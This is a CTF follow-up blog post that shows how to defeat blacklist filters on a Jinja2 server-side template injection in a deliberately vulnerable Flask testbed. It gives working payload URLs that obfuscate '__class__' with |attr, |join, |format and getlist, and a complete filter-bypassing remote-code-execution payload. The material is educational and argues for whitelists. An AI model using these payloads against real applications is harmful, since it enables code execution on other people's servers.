Jinja2 template injection filter bypasses

The blogpost is a follow-up to my last post about the "Jins2 Template Injection RCE" in the iCTF 2017 "flasking unicorns" service. This time it is about bypassing blacklist filtering approaches by our and other teams as well as some useful tricks.

Motivation

During an attack-defense CTF, like the iCTF, there is usually not much time to think about in-depth fixes when other teams actively exploit your sevice. In our case the quick'n'dirty fix implemented by a colleague for this particular attack was to block requests that contain [.
After the CTF was over and I published the writeup, @busbauen asked if I could bypass his __ filter:

While monitoring the access logs and incoming requests, it looked that the fix was good enough to stop most attacks. However, you can never be really sure, because - as you (should) know - blacklists are bad and can often be circumvented.

Testbed

I went back to find an old copy of the challenge's sourcecode and built a small testbed. The core issue was that a template was rendered twice and the first rendering step contained user-controlled input. Here is the code:

# __aSyNcId_<_juGhDbwe__gt; cat app.py 
import os #We need that to facilitate the RCE. Otherwise one needs to run {{config.from_object("os")}} first.
from flask import Flask, render_template, render_template_string, request
app = Flask(__name__)

@app.route("/")
def index():
    exploit = request.args.get('exploit')
    print exploit

    rendered_template = render_template("app.html", exploit=exploit)
    print(rendered_template)

    return render_template_string(rendered_template)

if __name__ == "__main__":
    app.run(debug=True)

And here's a simple template:

{# __aSyNcId_<_juGhDbwe__gt;cat templates/app.html #} 
{{exploit}}                            

We will extend this testbed step by step as we explore some blacklists and their possible bypasses. I won't explain the basic steps of a Jinja SSTI or this RCE PoC, because I did that in the last post:

http://localhost:5000/?exploit={{request.__class__.__mro__[8].__subclasses__()[40](request.args.file,request.args.write).write(request.args.payload)}}{{config.from_pyfile(request.args.file)}}&file=/tmp/foo.py&write=w&payload=print+1337

After starting the webserver and sending the request, you should find a file /tmp/foo.py with print 1337 in it and also 1337 printed on the debug console:

{{request.__class__.__mro__[8].__subclasses__()[40](request.args.file,request.args.write).write(request.args.payload)}}{{config.from_pyfile(request.args.file)}}
{{request.__class__.__mro__[8].__subclasses__()[40](request.args.file,request.args.write).write(request.args.payload)}}{{config.from_pyfile(request.args.file)}}
1337
127.0.0.1 - - [20/May/2017 01:42:19] "GET /?exploit={{request.__class__.__mro__[8].__subclasses__()[40](request.args.file,request.args.write).write(request.args.payload)}}{{config.from_pyfile(request.args.file)}}&file=/tmp/foo.py&write=w&payload=print+1337 HTTP/1.1" 200 -

Bypassing "__"

By reading through the Jinja2 documentation I came up with several interesting bypasses for different blacklists. Not only did I manage to bypass the __, but also my team's [ filter. I'll try to guide you through my thought process in the following sections.

First, I had to modify the testbed a bit to introduce a simple blacklist which only checks if the exploit argument matches bad words:

    # [...]
    exploit = request.args.get('exploit')
    print exploit

    blacklist = ["__class__"]
    # Level 1
    for bad_string in blacklist:
        if  bad_string in exploit:
            return "HACK ATTEMPT {}".format(bad_string), 400
    # [...]

As you can see, I first wanted to circumvent the use of __class__ in the exploit parameter. Instead of directly accessing attributes with request.__class__, one can use request["__class__"]. But using quotes (") will result in an exception, because it will be converted to &quot; in the first rendering step. So we have to find another way. The request variable has access to all parameters that were sent, so we can use request.args.param to retrieve the value of a new param GET parameter.
A working bypass is: http://localhost:5000/?exploit={{request[request.args.param]}}&param=__class__

So far, so good! Let's add request[request. to the blacklist. Luckily, there is another way to access attributes without . or [] using a native JinJa2 function called |attr(). Replacing request[request.args.param] with |attr(request.args.param) will bypass both checks.

However, we still haven't bypassed a stricter blacklist that checks all parameters and the __ string. We extend the testbed a second time and add a keyword:

    blacklist = ["__class__", "request[request."]
    blacklist += ["__"]
    # Level 1
    for bad_string in blacklist:
        if  bad_string in exploit:
            return "HACK ATTEMPT {}".format(bad_string), 400
    # Level 2
    for bad_string in blacklist:
        for param in request.args:
            if bad_string in request.args[param]:
                return "HACK ATTEMPT {}".format(bad_string), 400

Our previous bypasses shouldn't work anymore due to being catched by the second blacklist. Now we have to find a way to smuggle __class__ past both blacklists and into our exploit. I thought about splitting up the string into smaller pieces such as _, class and passing them through different parameters. For this to work, however, we need to combine all separate parts into a string again. A look into JinJa's API comes to our rescue with a functiona called |join that will concatenate a list of strings. For example ["a", "b", "c"]|join is equivalent to "abc". Also, multiplication of a string with a number'n' duplicates it 'n' times. We use both tricks to get the following bypass:

http://localhost:5000/?exploit={{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}&class=class&usc=_

Here's a short breakdown of what will happen:

  • {{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}
  • {{request|attr(["_"*2,"class","_"*2]|join)}}
  • {{request|attr(["__","class","__"]|join)}}
  • {{request|attr("__class__")}}
  • {{request.__class__}}

To answer your question, Christian, there is a way to bypass your __ blacklist!

Bypassing "[" and "]"

Having achieved the previous bypass, I was curious if I could manage to bypass our very own fix of filtering "[" and "]". In essence, we only have to get rid of the brackets. But before we do that, let's extend our blacklist:

blacklist += ["[", "]"]

Python has another list-like datastructure, namely tuples. Those are initialized as (a,b,c,) and their elements' order is fixed. The previously discussed join-function handles both lists in the same way. A possible bypass would be:

http://localhost:5000/?exploit={{request|attr((request.args.usc*2,request.args.class,request.args.usc*2)|join)}}&class=class&usc=_

It is a bit ugly and long, though. Using the .getlist() function we can shorten it a bit:

http://localhost:5000/?exploit={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_

The function returns a list of all parameters with a given name. In our case we define the name using the l parameter and the content of the list with several a parameters.

So now we've seen for a second time that blacklist filtering approaches can be circumvented. Use whitelists! :-)

Bypassing "|join"

The last couple of bypasses all relied on the |join function. There is another method to concatenate strings and the responsible function is called |format. With the same query-string paramters &a=_ we can form a format string that will result in __class__: %s%sclass%s%s
The %s identifiers will be replaced with the passed string. Our new attack vector looks like this:

http://localhost:5000/?exploit={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_

The format is passed in the &f= query parameter and populated with the underscores from the &a= parameters. This bypasses our previously defined blacklists and might become handy somewhere!

Final RCE

After exploring several tricks to bypass the blacklists, we still need to form the final, blacklist-bypassing RCE exploit. In theory, this should be easy, but it turned out to be a bit harder.

Here's a quite readable exploit that will bypass the [, ] checks, but not the __ check:

http://localhost:5000/?exploit={%set%20a,b,c,d,e,f,g,h,i%20=%20request.__class__.__mro__%}{{i.__subclasses__().pop(40)(request.args.file,request.args.write).write(request.args.payload)}}{{config.from_pyfile(request.args.file)}}&file=/tmp/foo.py&write=w&payload=print+1337

As you can see, we have to use the set function to get access to the necessary object (i) class. pop() will retrieve the file object which is then called with our known parameters. Similar to the initial RCE, this will create a python file /tmp/foo.py and execute the print 1337 payload.

The final exploit that bypasses the all blacklist checks is a bit more complex, because it has to use the beforementioned tricks to obfuscate __class___ or other components with __ in it:

http://localhost:5000/?exploit={%set%20a,b,c,d,e,f,g,h,i%20=%20request|attr((request.args.usc*2,request.args.class,request.args.usc*2)|join)|attr((request.args.usc*2,request.args.mro,request.args.usc*2)|join)%}{{(i|attr((request.args.usc*2,request.args.subc,request.args.usc*2)|join)()).pop(40)(request.args.file,request.args.write).write(request.args.payload)}}{{config.from_pyfile(request.args.file)}}&class=class&mro=mro&subc=subclasses&usc=_&file=/tmp/foo.py&write=w&payload=print+1337

De-contructing and understanding the payload is left an as exercise to the reader ;)

Accessing parameters

In most examples we used request.args to access GET parameters, but there are other dictionaries that can be populated with custom values:

  • GET: request.args
  • Cookies: request.cookies
  • Headers: request.headers
  • Environment: request.environ
  • Values: request.values

The following notations can be used to access attributes of an object:

  • request.__class__
  • request["__class__"]
  • request|attr("__class__")

Elements of arrays can be accessed with:

  • array[0]
  • array.pop(0)

What did we learn?

Although most of the bypasses could be further locked down by introducing stricter blacklists (e.g. filtering ( or | ), the overall takeaway should be that blacklists should never be used to "fix" vulnerabilities. I could bet that there are or going to be cleverer hackers that are capable of discoverying a bypasses for the other blacklists as well.

Additionally we highlighted some ideas and methods that can help to bypass blacklists. For example, splitting up a payload into several pieces or (ab)using syntactic sugar.

-=-